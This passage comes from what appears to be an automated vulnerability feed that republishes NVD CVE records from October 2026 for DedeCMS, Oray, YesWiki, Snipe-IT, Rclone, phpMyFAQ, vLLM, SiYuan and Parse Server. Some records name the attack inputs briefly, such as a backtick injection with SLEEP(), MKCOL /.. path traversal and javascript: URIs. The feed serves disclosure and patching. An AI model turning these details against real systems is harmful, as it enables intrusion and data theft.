NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was determined in DedeCMS 5.7.118. This vulnerability affects the function common.inc.php::_RunMagicQuotes of the file plus/ad_js.php of the component Advertisement Rendering. Executing a manipulation of the argument aid can lead to code injection. The attack can be executed remotely.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication.
https://kevwire.com/record/CVE-2026-116235
A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication. (Oct 26, 2026).
A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication. This manipulation of the argument Username causes crlf injection. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116235).
Sources:
NVD CVE-2026-116235: https://nvd.nist.gov/vuln/detail/CVE-2026-116235
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication. This manipulation of the argument Username causes crlf injection. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler.
https://kevwire.com/record/CVE-2026-116232
A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler. (Oct 26, 2026).
A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler. Executing a manipulation of the argument info.community can lead to crlf injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116232).
Sources:
NVD CVE-2026-116232: https://nvd.nist.gov/vuln/detail/CVE-2026-116232
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler. Executing a manipulation of the argument info.community can lead to crlf injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 contains an unauthenticated SQL injection vulnerability in SearchManager::prepareSearchRequest().
https://kevwire.com/record/CVE-2026-116207
YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 contains an unauthenticated SQL injection vulnerability in SearchManager::prepareSearchRequest(). (Oct 25, 2026).
YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 contains an unauthenticated SQL injection vulnerability in SearchManager::prepareSearchRequest(). Field names from the query and searchfields parameters of the public Bazar entries search API are placed in a backtick-quoted alias escaped only with mysqli_real_escape_string. Attackers can supply a backtick to inject subqueries, reading data such as user password hashes or exhausting database threads with SLEEP().
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116207).
Sources:
NVD CVE-2026-116207: https://nvd.nist.gov/vuln/detail/CVE-2026-116207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 contains an unauthenticated SQL injection vulnerability in SearchManager::prepareSearchRequest(). Field names from the query and searchfields parameters of the public Bazar entries search API are placed in a backtick-quoted alias escaped only with mysqli_real_escape_string. Attackers can supply a backtick to inject subqueries, reading data such as user password hashes or exhausting database threads with SLEEP().

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Snipe-IT before 8.6.3 contains an authentication bypass in GoogleAuthController::handleGoogleCallback, which logs in the user whose username matches the Google account email...
https://kevwire.com/record/CVE-2026-116199
Snipe-IT before 8.6.3 contains an authentication bypass in GoogleAuthController::handleGoogleCallback, which logs in the user whose username matches the Google account email... (Oct 25, 2026).
Snipe-IT before 8.6.3 contains an authentication bypass in GoogleAuthController::handleGoogleCallback, which logs in the user whose username matches the Google account email without enforcing the activated flag. Deactivated users with email-shaped usernames and still-live Google identities can sign in via Google SSO and regain sessions at their original permission level, including admin.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116199).
Sources:
NVD CVE-2026-116199: https://nvd.nist.gov/vuln/detail/CVE-2026-116199
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Snipe-IT before 8.6.3 contains an authentication bypass in GoogleAuthController::handleGoogleCallback, which logs in the user whose username matches the Google account email without enforcing the activated flag. Deactivated users with email-shaped usernames and still-live Google identities can sign in via Google SSO and regain sessions at their original permission level, including admin.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment...
https://kevwire.com/record/CVE-2026-116195
Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment... (Oct 25, 2026).
Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment check, so a name can resolve outside the destination root. Attackers can plant a directory named ...rclonelink in a source tree synced with --links and --metadata to change ownership, timestamps, and xattrs of the destination's parent directory.
CVSS 7.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116195).
Sources:
NVD CVE-2026-116195: https://nvd.nist.gov/vuln/detail/CVE-2026-116195
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment check, so a name can resolve outside the destination root. Attackers can plant a directory named ...rclonelink in a source tree synced with --links and --metadata to change ownership, timestamps, and xattrs of the destination's parent directory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..'...
https://kevwire.com/record/CVE-2026-116191
Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..'... (Oct 25, 2026).
Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..' path component. Attackers can send MKCOL /.. to plant a VFS node, then PUT, MOVE, COPY, or MKCOL to create, overwrite, or delete files belonging to other tenants.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116191).
Sources:
NVD CVE-2026-116191: https://nvd.nist.gov/vuln/detail/CVE-2026-116191
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..' path component. Attackers can send MKCOL /.. to plant a VFS node, then PUT, MOVE, COPY, or MKCOL to create, overwrite, or delete files belonging to other tenants.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an...
https://kevwire.com/record/CVE-2026-116183
phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an... (Oct 25, 2026).
phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an arbitrary openQuestionID to POST /api/faq/create. Attackers solving the CAPTCHA can rewrite question categories, forge answered entries in faqquestion_history, or permanently delete questions when records.enableDeleteQuestion is enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116183).
Sources:
NVD CVE-2026-116183: https://nvd.nist.gov/vuln/detail/CVE-2026-116183
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an arbitrary openQuestionID to POST /api/faq/create. Attackers solving the CAPTCHA can rewrite question categories, forge answered entries in faqquestion_history, or permanently delete questions when records.enableDeleteQuestion is enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding num_frames through...
https://kevwire.com/record/CVE-2026-116179
vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding num_frames through... (Oct 25, 2026).
vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding num_frames through media_io_kwargs. Attackers can set num_frames to -1 with a large inline video so VideoMediaIO.load_base64 decodes every frame, exhausting memory and crashing the API frontend.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116179).
Sources:
NVD CVE-2026-116179: https://nvd.nist.gov/vuln/detail/CVE-2026-116179
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding num_frames through media_io_kwargs. Attackers can set num_frames to -1 with a large inline video so VideoMediaIO.load_base64 decodes every frame, exhausting memory and crashing the API frontend.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.19.0 before 0.24.0 contains a decompression bomb vulnerability because the AudioMediaIO multimodal path calls load_audio without the max_duration_s decoded-duration...
https://kevwire.com/record/CVE-2026-116175
vLLM from 0.19.0 before 0.24.0 contains a decompression bomb vulnerability because the AudioMediaIO multimodal path calls load_audio without the max_duration_s decoded-duration... (Oct 25, 2026).
vLLM from 0.19.0 before 0.24.0 contains a decompression bomb vulnerability because the AudioMediaIO multimodal path calls load_audio without the max_duration_s decoded-duration limit. Authenticated attackers can send small compressed audio via input_audio or audio_url in /v1/chat/completions requests that expands to huge decoded PCM, exhausting server memory.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116175).
Sources:
NVD CVE-2026-116175: https://nvd.nist.gov/vuln/detail/CVE-2026-116175
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.19.0 before 0.24.0 contains a decompression bomb vulnerability because the AudioMediaIO multimodal path calls load_audio without the max_duration_s decoded-duration limit. Authenticated attackers can send small compressed audio via input_audio or audio_url in /v1/chat/completions requests that expands to huge decoded PCM, exhausting server memory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan 3.5.4 before 3.8.7 on Windows contains a sensitive-path denylist bypass in IsSensitivePath because the Windows extended-length prefix (\\?\) survives filepath.Clean and...
https://kevwire.com/record/CVE-2026-116171
SiYuan 3.5.4 before 3.8.7 on Windows contains a sensitive-path denylist bypass in IsSensitivePath because the Windows extended-length prefix (\\?\) survives filepath.Clean and... (Oct 25, 2026).
SiYuan 3.5.4 before 3.8.7 on Windows contains a sensitive-path denylist bypass in IsSensitivePath because the Windows extended-length prefix (\\?\) survives filepath.Clean and matches no forbidden prefix. Authenticated API callers can prepend the prefix to localPath in /api/import/importStdMd to copy workspace conf files, including the API token and TLS private keys, into assets served to unauthenticated clients.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116171).
Sources:
NVD CVE-2026-116171: https://nvd.nist.gov/vuln/detail/CVE-2026-116171
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
SiYuan 3.5.4 before 3.8.7 on Windows contains a sensitive-path denylist bypass in IsSensitivePath because the Windows extended-length prefix (\\?\) survives filepath.Clean and matches no forbidden prefix. Authenticated API callers can prepend the prefix to localPath in /api/import/importStdMd to copy workspace conf files, including the API token and TLS private keys, into assets served to unauthenticated clients.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan from 2.9.0 before 3.8.7 contains a cross-site scripting vulnerability in the unauthenticated /check-auth page that assigns the to parameter to window.location.href without...
https://kevwire.com/record/CVE-2026-116167
SiYuan from 2.9.0 before 3.8.7 contains a cross-site scripting vulnerability in the unauthenticated /check-auth page that assigns the to parameter to window.location.href without... (Oct 25, 2026).
SiYuan from 2.9.0 before 3.8.7 contains a cross-site scripting vulnerability in the unauthenticated /check-auth page that assigns the to parameter to window.location.href without scheme validation. Attackers can send a crafted link with a javascript: URI that executes after victim login, invoking kernel APIs to read or modify workspace content and settings.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116167).
Sources:
NVD CVE-2026-116167: https://nvd.nist.gov/vuln/detail/CVE-2026-116167
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
SiYuan from 2.9.0 before 3.8.7 contains a cross-site scripting vulnerability in the unauthenticated /check-auth page that assigns the to parameter to window.location.href without scheme validation. Attackers can send a crafted link with a javascript: URI that executes after victim login, invoking kernel APIs to read or modify workspace content and settings.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Parse Server before 8.6.102 and 9.0.0 before 9.10.5-alpha.2 contains an authentication bypass because the validateSetUp, validateLogin, and validateUpdate methods of custom...
https://kevwire.com/record/CVE-2026-116163
Parse Server before 8.6.102 and 9.0.0 before 9.10.5-alpha.2 contains an authentication bypass because the validateSetUp, validateLogin, and validateUpdate methods of custom... (Oct 25, 2026).
Parse Server before 8.6.102 and 9.0.0 before 9.10.5-alpha.2 contains an authentication bypass because the validateSetUp, validateLogin, and validateUpdate methods of custom adapters subclassing AuthAdapter are never called, and an inherited default that accepts any authData is used instead. Attackers can supply arbitrary authData to sign up, link identities, log in as existing users, or skip custom additional authentication factors.
CVSS 9.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116163).
Sources:
NVD CVE-2026-116163: https://nvd.nist.gov/vuln/detail/CVE-2026-116163
